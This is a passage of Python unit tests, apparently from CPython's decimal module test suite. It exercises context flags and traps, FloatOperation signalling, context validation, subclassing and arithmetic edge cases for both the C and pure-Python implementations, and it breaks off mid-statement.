self.decimal.Decimal Context = self.decimal.Context FloatOperation = self.decimal.FloatOperation localcontext = self.decimal.localcontext def assert_attr(a, b, attr, context, signal=None): context.clear_flags() f = getattr(a, attr) if signal == FloatOperation: self.assertRaises(signal, f, b) else: self.assertIs(f(b), True) self.assertTrue(context.flags[FloatOperation]) small_d = Decimal('0.25') big_d = Decimal('3.0') small_f = 0.25 big_f = 3.0 zero_d = Decimal('0.0') neg_zero_d = Decimal('-0.0') zero_f = 0.0 neg_zero_f = -0.0 inf_d = Decimal('Infinity') neg_inf_d = Decimal('-Infinity') inf_f = float('inf') neg_inf_f = float('-inf') def doit(c, signal=None): # Order for attr in '__lt__', '__le__': assert_attr(small_d, big_f, attr, c, signal) for attr in '__gt__', '__ge__': assert_attr(big_d, small_f, attr, c, signal) # Equality assert_attr(small_d, small_f, '__eq__', c, None) assert_attr(neg_zero_d, neg_zero_f, '__eq__', c, None) assert_attr(neg_zero_d, zero_f, '__eq__', c, None) assert_attr(zero_d, neg_zero_f, '__eq__', c, None) assert_attr(zero_d, zero_f, '__eq__', c, None) assert_attr(neg_inf_d, neg_inf_f, '__eq__', c, None) assert_attr(inf_d, inf_f, '__eq__', c, None) # Inequality assert_attr(small_d, big_f, '__ne__', c, None) assert_attr(Decimal('0.1'), 0.1, '__ne__', c, None) assert_attr(neg_inf_d, inf_f, '__ne__', c, None) assert_attr(inf_d, neg_inf_f, '__ne__', c, None) assert_attr(Decimal('NaN'), float('nan'), '__ne__', c, None) def test_containers(c, signal=None): c.clear_flags() s = set([100.0, Decimal('100.0')]) self.assertEqual(len(s), 1) self.assertTrue(c.flags[FloatOperation]) c.clear_flags() if signal: self.assertRaises(signal, sorted, [1.0, Decimal('10.0')]) else: s = sorted([10.0, Decimal('10.0')]) self.assertTrue(c.flags[FloatOperation]) c.clear_flags() b = 10.0 in [Decimal('10.0'), 1.0] self.assertTrue(c.flags[FloatOperation]) c.clear_flags() b = 10.0 in {Decimal('10.0'):'a', 1.0:'b'} self.assertTrue(c.flags[FloatOperation]) nc = Context() with localcontext(nc) as c: self.assertFalse(c.traps[FloatOperation]) doit(c, signal=None) test_containers(c, signal=None) c.traps[FloatOperation] = True doit(c, signal=FloatOperation) test_containers(c, signal=FloatOperation) def test_float_operation_default(self): Decimal = self.decimal.Decimal Context = self.decimal.Context Inexact = self.decimal.Inexact FloatOperation= self.decimal.FloatOperation context = Context() self.assertFalse(context.flags[FloatOperation]) self.assertFalse(context.traps[FloatOperation]) context.clear_traps() context.traps[Inexact] = True context.traps[FloatOperation] = True self.assertTrue(context.traps[FloatOperation]) self.assertTrue(context.traps[Inexact]) class CContextFlags(ContextFlags): decimal = C class PyContextFlags(ContextFlags): decimal = P class SpecialContexts(unittest.TestCase): """Test the context templates.""" def test_context_templates(self): BasicContext = self.decimal.BasicContext ExtendedContext = self.decimal.ExtendedContext getcontext = self.decimal.getcontext setcontext = self.decimal.setcontext InvalidOperation = self.decimal.InvalidOperation DivisionByZero = self.decimal.DivisionByZero Overflow = self.decimal.Overflow Underflow = self.decimal.Underflow Clamped = self.decimal.Clamped assert_signals(self, BasicContext, 'traps', [InvalidOperation, DivisionByZero, Overflow, Underflow, Clamped] ) savecontext = getcontext().copy() basic_context_prec = BasicContext.prec extended_context_prec = ExtendedContext.prec ex = None try: BasicContext.prec = ExtendedContext.prec = 441 for template in BasicContext, ExtendedContext: setcontext(template) c = getcontext() self.assertIsNot(c, template) self.assertEqual(c.prec, 441) except Exception as e: ex = e.__class__ finally: BasicContext.prec = basic_context_prec ExtendedContext.prec = extended_context_prec setcontext(savecontext) if ex: raise ex def test_default_context(self): DefaultContext = self.decimal.DefaultContext BasicContext = self.decimal.BasicContext ExtendedContext = self.decimal.ExtendedContext getcontext = self.decimal.getcontext setcontext = self.decimal.setcontext InvalidOperation = self.decimal.InvalidOperation DivisionByZero = self.decimal.DivisionByZero Overflow = self.decimal.Overflow self.assertEqual(BasicContext.prec, 9) self.assertEqual(ExtendedContext.prec, 9) assert_signals(self, DefaultContext, 'traps', [InvalidOperation, DivisionByZero, Overflow] ) savecontext = getcontext().copy() default_context_prec = DefaultContext.prec ex = None try: c = getcontext() saveprec = c.prec DefaultContext.prec = 961 c = getcontext() self.assertEqual(c.prec, saveprec) setcontext(DefaultContext) c = getcontext() self.assertIsNot(c, DefaultContext) self.assertEqual(c.prec, 961) except Exception as e: ex = e.__class__ finally: DefaultContext.prec = default_context_prec setcontext(savecontext) if ex: raise ex class CSpecialContexts(SpecialContexts): decimal = C class PySpecialContexts(SpecialContexts): decimal = P class ContextInputValidation(unittest.TestCase): def test_invalid_context(self): Context = self.decimal.Context DefaultContext = self.decimal.DefaultContext c = DefaultContext.copy() # prec, Emax for attr in ['prec', 'Emax']: setattr(c, attr, 999999) self.assertEqual(getattr(c, attr), 999999) self.assertRaises(ValueError, setattr, c, attr, -1) self.assertRaises(TypeError, setattr, c, attr, 'xyz') # Emin setattr(c, 'Emin', -999999) self.assertEqual(getattr(c, 'Emin'), -999999) self.assertRaises(ValueError, setattr, c, 'Emin', 1) self.assertRaises(TypeError, setattr, c, 'Emin', (1,2,3)) self.assertRaises(TypeError, setattr, c, 'rounding', -1) self.assertRaises(TypeError, setattr, c, 'rounding', 9) self.assertRaises(TypeError, setattr, c, 'rounding', 1.0) self.assertRaises(TypeError, setattr, c, 'rounding', 'xyz') # capitals, clamp for attr in ['capitals', 'clamp']: self.assertRaises(ValueError, setattr, c, attr, -1) self.assertRaises(ValueError, setattr, c, attr, 2) self.assertRaises(TypeError, setattr, c, attr, [1,2,3]) # Invalid attribute self.assertRaises(AttributeError, setattr, c, 'emax', 100) # Invalid signal dict self.assertRaises(TypeError, setattr, c, 'flags', []) self.assertRaises(KeyError, setattr, c, 'flags', {}) self.assertRaises(KeyError, setattr, c, 'traps', {'InvalidOperation':0}) # Attributes cannot be deleted for attr in ['prec', 'Emax', 'Emin', 'rounding', 'capitals', 'clamp', 'flags', 'traps']: self.assertRaises(AttributeError, c.__delattr__, attr) # Invalid attributes self.assertRaises(TypeError, getattr, c, 9) self.assertRaises(TypeError, setattr, c, 9) # Invalid values in constructor self.assertRaises(TypeError, Context, rounding=999999) self.assertRaises(TypeError, Context, rounding='xyz') self.assertRaises(ValueError, Context, clamp=2) self.assertRaises(ValueError, Context, capitals=-1) self.assertRaises(KeyError, Context, flags=["P"]) self.assertRaises(KeyError, Context, traps=["Q"]) # Type error in conversion self.assertRaises(TypeError, Context, flags=(0,1)) self.assertRaises(TypeError, Context, traps=(1,0)) class CContextInputValidation(ContextInputValidation): decimal = C class PyContextInputValidation(ContextInputValidation): decimal = P class ContextSubclassing(unittest.TestCase): def test_context_subclassing(self): decimal = self.decimal Decimal = decimal.Decimal Context = decimal.Context Clamped = decimal.Clamped DivisionByZero = decimal.DivisionByZero Inexact = decimal.Inexact Overflow = decimal.Overflow Rounded = decimal.Rounded Subnormal = decimal.Subnormal Underflow = decimal.Underflow InvalidOperation = decimal.InvalidOperation class MyContext(Context): def __init__(self, prec=None, rounding=None, Emin=None, Emax=None, capitals=None, clamp=None, flags=None, traps=None): Context.__init__(self) if prec is not None: self.prec = prec if rounding is not None: self.rounding = rounding if Emin is not None: self.Emin = Emin if Emax is not None: self.Emax = Emax if capitals is not None: self.capitals = capitals if clamp is not None: self.clamp = clamp if flags is not None: if isinstance(flags, list): flags = {v:(v in flags) for v in OrderedSignals[decimal] + flags} self.flags = flags if traps is not None: if isinstance(traps, list): traps = {v:(v in traps) for v in OrderedSignals[decimal] + traps} self.traps = traps c = Context() d = MyContext() for attr in ('prec', 'rounding', 'Emin', 'Emax', 'capitals', 'clamp', 'flags', 'traps'): self.assertEqual(getattr(c, attr), getattr(d, attr)) # prec self.assertRaises(ValueError, MyContext, **{'prec':-1}) c = MyContext(prec=1) self.assertEqual(c.prec, 1) self.assertRaises(InvalidOperation, c.quantize, Decimal('9e2'), 0) # rounding self.assertRaises(TypeError, MyContext, **{'rounding':'XYZ'}) c = MyContext(rounding=ROUND_DOWN, prec=1) self.assertEqual(c.rounding, ROUND_DOWN) self.assertEqual(c.plus(Decimal('9.9')), 9) # Emin self.assertRaises(ValueError, MyContext, **{'Emin':5}) c = MyContext(Emin=-1, prec=1) self.assertEqual(c.Emin, -1) x = c.add(Decimal('1e-99'), Decimal('2.234e-2000')) self.assertEqual(x, Decimal('0.0')) for signal in (Inexact, Underflow, Subnormal, Rounded, Clamped): self.assertTrue(c.flags[signal]) # Emax self.assertRaises(ValueError, MyContext, **{'Emax':-1}) c = MyContext(Emax=1, prec=1) self.assertEqual(c.Emax, 1) self.assertRaises(Overflow, c.add, Decimal('1e99'), Decimal('2.234e2000')) if self.decimal == C: for signal in (Inexact, Overflow, Rounded): self.assertTrue(c.flags[signal]) # capitals self.assertRaises(ValueError, MyContext, **{'capitals':-1}) c = MyContext(capitals=0) self.assertEqual(c.capitals, 0) x = c.create_decimal('1E222') self.assertEqual(c.to_sci_string(x), '1e+222') # clamp self.assertRaises(ValueError, MyContext, **{'clamp':2}) c = MyContext(clamp=1, Emax=99) self.assertEqual(c.clamp, 1) x = c.plus(Decimal('1e99')) self.assertEqual(str(x), '1.000000000000000000000000000E+99') # flags self.assertRaises(TypeError, MyContext, **{'flags':'XYZ'}) c = MyContext(flags=[Rounded, DivisionByZero]) for signal in (Rounded, DivisionByZero): self.assertTrue(c.flags[signal]) c.clear_flags() for signal in OrderedSignals[decimal]: self.assertFalse(c.flags[signal]) # traps self.assertRaises(TypeError, MyContext, **{'traps':'XYZ'}) c = MyContext(traps=[Rounded, DivisionByZero]) for signal in (Rounded, DivisionByZero): self.assertTrue(c.traps[signal]) c.clear_traps() for signal in OrderedSignals[decimal]: self.assertFalse(c.traps[signal]) class CContextSubclassing(ContextSubclassing): decimal = C class PyContextSubclassing(ContextSubclassing): decimal = P @skip_if_extra_functionality class CheckAttributes(unittest.TestCase): def test_module_attributes(self): # Architecture dependent context limits self.assertEqual(C.MAX_PREC, P.MAX_PREC) self.assertEqual(C.MAX_EMAX, P.MAX_EMAX) self.assertEqual(C.MIN_EMIN, P.MIN_EMIN) self.assertEqual(C.MIN_ETINY, P.MIN_ETINY) self.assertTrue(C.HAVE_THREADS is True or C.HAVE_THREADS is False) self.assertTrue(P.HAVE_THREADS is True or P.HAVE_THREADS is False) self.assertEqual(C.__version__, P.__version__) self.assertEqual(dir(C), dir(P)) def test_context_attributes(self): x = [s for s in dir(C.Context()) if '__' in s or not s.startswith('_')] y = [s for s in dir(P.Context()) if '__' in s or not s.startswith('_')] self.assertEqual(set(x) - set(y), set()) def test_decimal_attributes(self): x = [s for s in dir(C.Decimal(9)) if '__' in s or not s.startswith('_')] y = [s for s in dir(C.Decimal(9)) if '__' in s or not s.startswith('_')] self.assertEqual(set(x) - set(y), set()) class Coverage(unittest.TestCase): def test_adjusted(self): Decimal = self.decimal.Decimal self.assertEqual(Decimal('1234e9999').adjusted(), 10002) # XXX raise? self.assertEqual(Decimal('nan').adjusted(), 0) self.assertEqual(Decimal('inf').adjusted(), 0) def test_canonical(self): Decimal = self.decimal.Decimal getcontext = self.decimal.getcontext x = Decimal(9).canonical() self.assertEqual(x, 9) c = getcontext() x = c.canonical(Decimal(9)) self.assertEqual(x, 9) def test_context_repr(self): c = self.decimal.DefaultContext.copy() c.prec = 425000000 c.Emax = 425000000 c.Emin = -425000000 c.rounding = ROUND_HALF_DOWN c.capitals = 0 c.clamp = 1 for sig in OrderedSignals[self.decimal]: c.flags[sig] = False c.traps[sig] = False s = c.__repr__() t = "Context(prec=425000000, rounding=ROUND_HALF_DOWN, " \ "Emin=-425000000, Emax=425000000, capitals=0, clamp=1, " \ "flags=[], traps=[])" self.assertEqual(s, t) def test_implicit_context(self): Decimal = self.decimal.Decimal localcontext = self.decimal.localcontext with localcontext() as c: c.prec = 1 c.Emax = 1 c.Emin = -1 # abs self.assertEqual(abs(Decimal("-10")), 10) # add self.assertEqual(Decimal("7") + 1, 8) # divide self.assertEqual(Decimal("10") / 5, 2) # divide_int self.assertEqual(Decimal("10") // 7, 1) # fma self.assertEqual(Decimal("1.2").fma(Decimal("0.01"), 1), 1) self.assertIs(Decimal("NaN").fma(7, 1).is_nan(), True) # three arg power self.assertEqual(pow(Decimal(10), 2, 7), 2) # exp self.assertEqual(Decimal("1.01").exp(), 3) # is_normal self.assertIs(Decimal("0.01").is_normal(), False) # is_subnormal self.assertIs(Decimal("0.01").is_subnormal(), True) # ln self.assertEqual(Decimal("20").ln(), 3) # log10 self.assertEqual(Decimal("20").log10(), 1) # logb self.assertEqual(Decimal("580").logb(), 2) # logical_invert self.assertEqual(Decimal("10").logical_invert(), 1) # minus self.assertEqual(-Decimal("-10"), 10) # multiply self.assertEqual(Decimal("2") * 4, 8) # next_minus self.assertEqual(Decimal("10").next_minus(), 9) # next_plus self.assertEqual(Decimal("10").next_plus(), Decimal('2E+1')) # normalize self.assertEqual(Decimal("-10").normalize(), Decimal('-1E+1')) # number_class self.assertEqual(Decimal("10").number_class(), '+Normal') # plus self.assertEqual(+Decimal("-1"), -1) # remainder self.assertEqual(Decimal("10") % 7, 3) # subtract self.assertEqual(Decimal("10") - 7, 3) # to_integral_exact self.assertEqual(Decimal("1.12345").to_integral_exact(), 1) # Boolean functions self.assertTrue(Decimal("1").is_canonical()) self.assertTrue(Decimal("1").is_finite()) self.assertTrue(Decimal("1").is_finite()) self.assertTrue(Decimal("snan").is_snan()) self.assertTrue(Decimal("-1").is_signed()) self.assertTrue(Decimal("0").is_zero()) self.assertTrue(Decimal("0").is_zero()) # Copy with localcontext() as c: c.prec = 10000 x = 1228 ** 1523 y = -Decimal(x) z = y.copy_abs() self.assertEqual(z, x) z = y.copy_negate() self.assertEqual(z, x) z = y.copy_sign(Decimal(1)) self.assertEqual(z, x) def test_divmod(self): Decimal = self.decimal.Decimal localcontext = self.decimal.localcontext InvalidOperation = self.decimal.InvalidOperation DivisionByZero = self.decimal.DivisionByZero with localcontext() as c: q, r = divmod(Decimal("10912837129"), 1001) self.assertEqual(q, Decimal('10901935')) self.assertEqual(r, Decimal('194')) q, r = divmod(Decimal("NaN"), 7) self.assertTrue(q.is_nan() and r.is_nan()) c.traps[InvalidOperation] = False q, r = divmod(Decimal("NaN"), 7) self.assertTrue(q.is_nan() and r.is_nan()) c.traps[InvalidOperation] = False c.clear_flags() q, r = divmod(Decimal("inf"), Decimal("inf")) self.assertTrue(q.is_nan() and r.is_nan()) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() q, r = divmod(Decimal("inf"), 101) self.assertTrue(q.is_infinite() and r.is_nan()) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() q, r = divmod(Decimal(0), 0) self.assertTrue(q.is_nan() and r.is_nan()) self.assertTrue(c.flags[InvalidOperation]) c.traps[DivisionByZero] = False c.clear_flags() q, r = divmod(Decimal(11), 0) self.assertTrue(q.is_infinite() and r.is_nan()) self.assertTrue(c.flags[InvalidOperation] and c.flags[DivisionByZero]) def test_power(self): Decimal = self.decimal.Decimal localcontext = self.decimal.localcontext Overflow = self.decimal.Overflow Rounded = self.decimal.Rounded with localcontext() as c: c.prec = 3 c.clear_flags() self.assertEqual(Decimal("1.0") ** 100, Decimal('1.00')) self.assertTrue(c.flags[Rounded]) c.prec = 1 c.Emax = 1 c.Emin = -1 c.clear_flags() c.traps[Overflow] = False self.assertEqual(Decimal(10000) ** Decimal("0.5"), Decimal('inf')) self.assertTrue(c.flags[Overflow]) def test_quantize(self): Decimal = self.decimal.Decimal localcontext = self.decimal.localcontext InvalidOperation = self.decimal.InvalidOperation with localcontext() as c: c.prec = 1 c.Emax = 1 c.Emin = -1 c.traps[InvalidOperation] = False x = Decimal(99).quantize(Decimal("1e1")) self.assertTrue(x.is_nan()) def test_radix(self): Decimal = self.decimal.Decimal getcontext = self.decimal.getcontext c = getcontext() self.assertEqual(Decimal("1").radix(), 10) self.assertEqual(c.radix(), 10) def test_rop(self): Decimal = self.decimal.Decimal for attr in ('__radd__', '__rsub__', '__rmul__', '__rtruediv__', '__rdivmod__', '__rmod__', '__rfloordiv__', '__rpow__'): self.assertIs(getattr(Decimal("1"), attr)("xyz"), NotImplemented) def test_round(self): # Python3 behavior: round() returns Decimal Decimal = self.decimal.Decimal localcontext = self.decimal.localcontext with localcontext() as c: c.prec = 28 self.assertEqual(str(Decimal("9.99").__round__()), "10") self.assertEqual(str(Decimal("9.99e-5").__round__()), "0") self.assertEqual(str(Decimal("1.23456789").__round__(5)), "1.23457") self.assertEqual(str(Decimal("1.2345").__round__(10)), "1.2345000000") self.assertEqual(str(Decimal("1.2345").__round__(-10)), "0E+10") self.assertRaises(TypeError, Decimal("1.23").__round__, "5") self.assertRaises(TypeError, Decimal("1.23").__round__, 5, 8) def test_create_decimal(self): c = self.decimal.Context() self.assertRaises(ValueError, c.create_decimal, ["%"]) def test_int(self): Decimal = self.decimal.Decimal localcontext = self.decimal.localcontext with localcontext() as c: c.prec = 9999 x = Decimal(1221**1271) / 10**3923 self.assertEqual(int(x), 1) self.assertEqual(x.to_integral(), 2) def test_copy(self): Context = self.decimal.Context c = Context() c.prec = 10000 x = -(1172 ** 1712) y = c.copy_abs(x) self.assertEqual(y, -x) y = c.copy_negate(x) self.assertEqual(y, -x) y = c.copy_sign(x, 1) self.assertEqual(y, -x) class CCoverage(Coverage): decimal = C class PyCoverage(Coverage): decimal = P class PyFunctionality(unittest.TestCase): """Extra functionality in decimal.py""" def test_py_alternate_formatting(self): # triples giving a format, a Decimal, and the expected result Decimal = P.Decimal localcontext = P.localcontext test_values = [ # Issue 7094: Alternate formatting (specified by #) ('.0e', '1.0', '1e+0'), ('#.0e', '1.0', '1.e+0'), ('.0f', '1.0', '1'), ('#.0f', '1.0', '1.'), ('g', '1.1', '1.1'), ('#g', '1.1', '1.1'), ('.0g', '1', '1'), ('#.0g', '1', '1.'), ('.0%', '1.0', '100%'), ('#.0%', '1.0', '100.%'), ] for fmt, d, result in test_values: self.assertEqual(format(Decimal(d), fmt), result) class PyWhitebox(unittest.TestCase): """White box testing for decimal.py""" def test_py_exact_power(self): # Rarely exercised lines in _power_exact. Decimal = P.Decimal localcontext = P.localcontext with localcontext() as c: c.prec = 8 x = Decimal(2**16) ** Decimal("-0.5") self.assertEqual(x, Decimal('0.00390625')) x = Decimal(2**16) ** Decimal("-0.6") self.assertEqual(x, Decimal('0.0012885819')) x = Decimal("256e7") ** Decimal("-0.5") x = Decimal(152587890625) ** Decimal('-0.0625') self.assertEqual(x, Decimal("0.2")) x = Decimal("152587890625e7") ** Decimal('-0.0625') x = Decimal(5**2659) ** Decimal('-0.0625') c.prec = 1 x = Decimal("152587890625") ** Decimal('-0.5') c.prec = 201 x = Decimal(2**578) ** Decimal("-0.5") def test_py_immutability_operations(self): # Do operations and check that it didn't change internal objects. Decimal = P.Decimal DefaultContext = P.DefaultContext setcontext = P.setcontext c = DefaultContext.copy() c.traps = dict((s, 0) for s in OrderedSignals[P]) setcontext(c) d1 = Decimal('-25e55') b1 = Decimal('-25e55') d2 = Decimal('33e+33') b2 = Decimal('33e+33') def checkSameDec(operation, useOther=False): if useOther: eval("d1." + operation + "(d2)") self.assertEqual(d1._sign, b1._sign) self.assertEqual(d1._int, b1._int) self.assertEqual(d1._exp, b1._exp) self.assertEqual(d2._sign, b2._sign) self.assertEqual(d2._int, b2._int) self.assertEqual(d2._exp, b2._exp) else: eval("d1." + operation + "()") self.assertEqual(d1._sign, b1._sign) self.assertEqual(d1._int, b1._int) self.assertEqual(d1._exp, b1._exp) Decimal(d1) self.assertEqual(d1._sign, b1._sign) self.assertEqual(d1._int, b1._int) self.assertEqual(d1._exp, b1._exp) checkSameDec("__abs__") checkSameDec("__add__", True) checkSameDec("__divmod__", True) checkSameDec("__eq__", True) checkSameDec("__ne__", True) checkSameDec("__le__", True) checkSameDec("__lt__", True) checkSameDec("__ge__", True) checkSameDec("__gt__", True) checkSameDec("__float__") checkSameDec("__floordiv__", True) checkSameDec("__hash__") checkSameDec("__int__") checkSameDec("__trunc__") checkSameDec("__mod__", True) checkSameDec("__mul__", True) checkSameDec("__neg__") checkSameDec("__bool__") checkSameDec("__pos__") checkSameDec("__pow__", True) checkSameDec("__radd__", True) checkSameDec("__rdivmod__", True) checkSameDec("__repr__") checkSameDec("__rfloordiv__", True) checkSameDec("__rmod__", True) checkSameDec("__rmul__", True) checkSameDec("__rpow__", True) checkSameDec("__rsub__", True) checkSameDec("__str__") checkSameDec("__sub__", True) checkSameDec("__truediv__", True) checkSameDec("adjusted") checkSameDec("as_tuple") checkSameDec("compare", True) checkSameDec("max", True) checkSameDec("min", True) checkSameDec("normalize") checkSameDec("quantize", True) checkSameDec("remainder_near", True) checkSameDec("same_quantum", True) checkSameDec("sqrt") checkSameDec("to_eng_string") checkSameDec("to_integral") def test_py_decimal_id(self): Decimal = P.Decimal d = Decimal(45) e = Decimal(d) self.assertEqual(str(e), '45') self.assertNotEqual(id(d), id(e)) def test_py_rescale(self): # Coverage Decimal = P.Decimal localcontext = P.localcontext with localcontext() as c: x = Decimal("NaN")._rescale(3, ROUND_UP) self.assertTrue(x.is_nan()) def test_py__round(self): # Coverage Decimal = P.Decimal self.assertRaises(ValueError, Decimal("3.1234")._round, 0, ROUND_UP) class CFunctionality(unittest.TestCase): """Extra functionality in _decimal""" @requires_extra_functionality def test_c_ieee_context(self): # issue 8786: Add support for IEEE 754 contexts to decimal module. IEEEContext = C.IEEEContext DECIMAL32 = C.DECIMAL32 DECIMAL64 = C.DECIMAL64 DECIMAL128 = C.DECIMAL128 def assert_rest(self, context): self.assertEqual(context.clamp, 1) assert_signals(self, context, 'traps', []) assert_signals(self, context, 'flags', []) c = IEEEContext(DECIMAL32) self.assertEqual(c.prec, 7) self.assertEqual(c.Emax, 96) self.assertEqual(c.Emin, -95) assert_rest(self, c) c = IEEEContext(DECIMAL64) self.assertEqual(c.prec, 16) self.assertEqual(c.Emax, 384) self.assertEqual(c.Emin, -383) assert_rest(self, c) c = IEEEContext(DECIMAL128) self.assertEqual(c.prec, 34) self.assertEqual(c.Emax, 6144) self.assertEqual(c.Emin, -6143) assert_rest(self, c) # Invalid values self.assertRaises(OverflowError, IEEEContext, 2**63) self.assertRaises(ValueError, IEEEContext, -1) self.assertRaises(ValueError, IEEEContext, 1024) @requires_extra_functionality def test_c_context(self): Context = C.Context c = Context(flags=C.DecClamped, traps=C.DecRounded) self.assertEqual(c._flags, C.DecClamped) self.assertEqual(c._traps, C.DecRounded) @requires_extra_functionality def test_constants(self): # Condition flags cond = ( C.DecClamped, C.DecConversionSyntax, C.DecDivisionByZero, C.DecDivisionImpossible, C.DecDivisionUndefined, C.DecFpuError, C.DecInexact, C.DecInvalidContext, C.DecInvalidOperation, C.DecMallocError, C.DecFloatOperation, C.DecOverflow, C.DecRounded, C.DecSubnormal, C.DecUnderflow ) # IEEEContext self.assertEqual(C.DECIMAL32, 32) self.assertEqual(C.DECIMAL64, 64) self.assertEqual(C.DECIMAL128, 128) self.assertEqual(C.IEEE_CONTEXT_MAX_BITS, 512) # Conditions for i, v in enumerate(cond): self.assertEqual(v, 1<<i) self.assertEqual(C.DecIEEEInvalidOperation, C.DecConversionSyntax| C.DecDivisionImpossible| C.DecDivisionUndefined| C.DecFpuError| C.DecInvalidContext| C.DecInvalidOperation| C.DecMallocError) self.assertEqual(C.DecErrors, C.DecIEEEInvalidOperation| C.DecDivisionByZero) self.assertEqual(C.DecTraps, C.DecErrors|C.DecOverflow|C.DecUnderflow) class CWhitebox(unittest.TestCase): """Whitebox testing for _decimal""" def test_bignum(self): # Not exactly whitebox, but too slow with pydecimal. Decimal = C.Decimal localcontext = C.localcontext b1 = 10**35 b2 = 10**36 with localcontext() as c: c.prec = 1000000 for i in range(5): a = random.randrange(b1, b2) b = random.randrange(1000, 1200) x = a ** b y = Decimal(a) ** Decimal(b) self.assertEqual(x, y) def test_invalid_construction(self): self.assertRaises(TypeError, C.Decimal, 9, "xyz") def test_c_input_restriction(self): # Too large for _decimal to be converted exactly Decimal = C.Decimal InvalidOperation = C.InvalidOperation Context = C.Context localcontext = C.localcontext with localcontext(Context()): self.assertRaises(InvalidOperation, Decimal, "1e9999999999999999999") def test_c_context_repr(self): # This test is _decimal-only because flags are not printed # in the same order. DefaultContext = C.DefaultContext FloatOperation = C.FloatOperation c = DefaultContext.copy() c.prec = 425000000 c.Emax = 425000000 c.Emin = -425000000 c.rounding = ROUND_HALF_DOWN c.capitals = 0 c.clamp = 1 for sig in OrderedSignals[C]: c.flags[sig] = True c.traps[sig] = True c.flags[FloatOperation] = True c.traps[FloatOperation] = True s = c.__repr__() t = "Context(prec=425000000, rounding=ROUND_HALF_DOWN, " \ "Emin=-425000000, Emax=425000000, capitals=0, clamp=1, " \ "flags=[Clamped, InvalidOperation, DivisionByZero, Inexact, " \ "FloatOperation, Overflow, Rounded, Subnormal, Underflow], " \ "traps=[Clamped, InvalidOperation, DivisionByZero, Inexact, " \ "FloatOperation, Overflow, Rounded, Subnormal, Underflow])" self.assertEqual(s, t) def test_c_context_errors(self): Context = C.Context InvalidOperation = C.InvalidOperation Overflow = C.Overflow FloatOperation = C.FloatOperation localcontext = C.localcontext getcontext = C.getcontext setcontext = C.setcontext HAVE_CONFIG_64 = (C.MAX_PREC > 425000000) c = Context() # SignalDict: input validation self.assertRaises(KeyError, c.flags.__setitem__, 801, 0) self.assertRaises(KeyError, c.traps.__setitem__, 801, 0) self.assertRaises(ValueError, c.flags.__delitem__, Overflow) self.assertRaises(ValueError, c.traps.__delitem__, InvalidOperation) self.assertRaises(TypeError, setattr, c, 'flags', ['x']) self.assertRaises(TypeError, setattr, c,'traps', ['y']) self.assertRaises(KeyError, setattr, c, 'flags', {0:1}) self.assertRaises(KeyError, setattr, c, 'traps', {0:1}) # Test assignment from a signal dict with the correct length but # one invalid key. d = c.flags.copy() del d[FloatOperation] d["XYZ"] = 91283719 self.assertRaises(KeyError, setattr, c, 'flags', d) self.assertRaises(KeyError, setattr, c, 'traps', d) # Input corner cases int_max = 2**63-1 if HAVE_CONFIG_64 else 2**31-1 gt_max_emax = 10**18 if HAVE_CONFIG_64 else 10**9 # prec, Emax, Emin for attr in ['prec', 'Emax']: self.assertRaises(ValueError, setattr, c, attr, gt_max_emax) self.assertRaises(ValueError, setattr, c, 'Emin', -gt_max_emax) # prec, Emax, Emin in context constructor self.assertRaises(ValueError, Context, prec=gt_max_emax) self.assertRaises(ValueError, Context, Emax=gt_max_emax) self.assertRaises(ValueError, Context, Emin=-gt_max_emax) # Overflow in conversion self.assertRaises(OverflowError, Context, prec=int_max+1) self.assertRaises(OverflowError, Context, Emax=int_max+1) self.assertRaises(OverflowError, Context, Emin=-int_max-2) self.assertRaises(OverflowError, Context, clamp=int_max+1) self.assertRaises(OverflowError, Context, capitals=int_max+1) # OverflowError, general ValueError for attr in ('prec', 'Emin', 'Emax', 'capitals', 'clamp'): self.assertRaises(OverflowError, setattr, c, attr, int_max+1) self.assertRaises(OverflowError, setattr, c, attr, -int_max-2) if sys.platform != 'win32': self.assertRaises(ValueError, setattr, c, attr, int_max) self.assertRaises(ValueError, setattr, c, attr, -int_max-1) # OverflowError: _unsafe_setprec, _unsafe_setemin, _unsafe_setemax if C.MAX_PREC == 425000000: self.assertRaises(OverflowError, getattr(c, '_unsafe_setprec'), int_max+1) self.assertRaises(OverflowError, getattr(c, '_unsafe_setemax'), int_max+1) self.assertRaises(OverflowError, getattr(c, '_unsafe_setemin'), -int_max-2) # ValueError: _unsafe_setprec, _unsafe_setemin, _unsafe_setemax if C.MAX_PREC == 425000000: self.assertRaises(ValueError, getattr(c, '_unsafe_setprec'), 0) self.assertRaises(ValueError, getattr(c, '_unsafe_setprec'), 1070000001) self.assertRaises(ValueError, getattr(c, '_unsafe_setemax'), -1) self.assertRaises(ValueError, getattr(c, '_unsafe_setemax'), 1070000001) self.assertRaises(ValueError, getattr(c, '_unsafe_setemin'), -1070000001) self.assertRaises(ValueError, getattr(c, '_unsafe_setemin'), 1) # capitals, clamp for attr in ['capitals', 'clamp']: self.assertRaises(ValueError, setattr, c, attr, -1) self.assertRaises(ValueError, setattr, c, attr, 2) self.assertRaises(TypeError, setattr, c, attr, [1,2,3]) if HAVE_CONFIG_64: self.assertRaises(ValueError, setattr, c, attr, 2**32) self.assertRaises(ValueError, setattr, c, attr, 2**32+1) # Invalid local context self.assertRaises(TypeError, exec, 'with localcontext("xyz"): pass', locals()) self.assertRaises(TypeError, exec, 'with localcontext(context=getcontext()): pass', locals()) # setcontext saved_context = getcontext() self.assertRaises(TypeError, setcontext, "xyz") setcontext(saved_context) def test_rounding_strings_interned(self): self.assertIs(C.ROUND_UP, P.ROUND_UP) self.assertIs(C.ROUND_DOWN, P.ROUND_DOWN) self.assertIs(C.ROUND_CEILING, P.ROUND_CEILING) self.assertIs(C.ROUND_FLOOR, P.ROUND_FLOOR) self.assertIs(C.ROUND_HALF_UP, P.ROUND_HALF_UP) self.assertIs(C.ROUND_HALF_DOWN, P.ROUND_HALF_DOWN) self.assertIs(C.ROUND_HALF_EVEN, P.ROUND_HALF_EVEN) self.assertIs(C.ROUND_05UP, P.ROUND_05UP) @requires_extra_functionality def test_c_context_errors_extra(self): Context = C.Context InvalidOperation = C.InvalidOperation Overflow = C.Overflow localcontext = C.localcontext getcontext = C.getcontext setcontext = C.setcontext HAVE_CONFIG_64 = (C.MAX_PREC > 425000000) c = Context() # Input corner cases int_max = 2**63-1 if HAVE_CONFIG_64 else 2**31-1 # OverflowError, general ValueError self.assertRaises(OverflowError, setattr, c, '_allcr', int_max+1) self.assertRaises(OverflowError, setattr, c, '_allcr', -int_max-2) if sys.platform != 'win32': self.assertRaises(ValueError, 